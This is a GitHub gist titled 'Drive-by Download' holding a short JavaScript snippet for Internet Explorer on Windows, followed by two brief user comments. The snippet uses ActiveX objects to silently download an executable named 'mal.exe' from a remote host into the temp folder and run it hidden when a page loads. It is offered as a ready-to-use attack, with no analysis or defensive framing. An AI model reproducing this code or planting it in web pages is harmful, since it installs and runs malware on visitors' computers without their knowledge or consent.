Skip to content

Instantly share code, notes, and snippets.

@ahhh
Created February 17, 2015 10:46
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save ahhh/3781380a1efceb1f7e1d to your computer and use it in GitHub Desktop.
Save ahhh/3781380a1efceb1f7e1d to your computer and use it in GitHub Desktop.
Drive-by Download: Javascript, ActiveX, and WScript for Automatic Execution in IE on Windows
<script type="text/javascript">
function dl(fr, fn, rn) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + "\\" + String.fromCharCode(92) + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange = function() {
if (xo.readyState === 4) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn, 2);
xa.close();
};
};
try {
xo.open("GET", fr, false);
xo.send();
if (rn > 0) {
ws.Run(fn, 0, 0);
};
} catch (er) {};
};
var link = "https://remotehost/mal.exe";
dl(link, "mal.exe", 1);
</script>
Copy link

ghost commented May 11, 2017

Thanks for the share. You should explain how the code functions with comments. It would help others understand it.

@ProgrammedBoi
Copy link

this uses activexobject, wtf is this 2010?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment